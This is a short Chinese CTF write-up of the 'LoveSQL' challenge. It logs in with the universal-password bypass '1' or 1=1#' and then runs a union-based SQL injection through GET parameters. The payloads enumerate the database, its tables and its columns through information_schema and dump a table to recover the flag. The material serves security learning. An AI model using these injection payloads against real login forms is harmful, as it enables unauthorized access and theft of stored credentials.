[极客大挑战 2019]LoveSQL



  • 一个比较简单的SQL注入题目,写一下做个笔记。

    看到登录直接盲猜账号密码adminpassword,然后在账号处进行注入,结果还给我试对了。看了一下网上大佬们的做法,发现我就是捡了个漏,正确做法其实是利用万能密码登录,登录后进行注入。接下来把正规做法记录一下:

    万能密码如下:在这里插入图片描述
    这里账号填1' or 1=1#,密码随便写。
    在这里插入图片描述
    登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:
    ?username=1' order by 1%23&password=ads在这里插入图片描述
    没有报错,只是说账号密码错误。直到order by 4的时候,报错了:
    在这里插入图片描述
    判断出有三个字段,接下来开始寻找注入点:
    ?username=1' union select 1,2,3%23&password=ads在这里插入图片描述
    很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。
    ?username=1' union select 1,database(),3%23&password=ads
    得到数据库名:geek!

    ?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
    得到表名geekuser,l0ve1ysq1

    ?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
    得到字段名id,username,password

    ?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
    flag出来了~~

    flag{70dfe726-2d2d-443e-a90a-5f5c3163b305}
    在这里插入图片描述


Log in to reply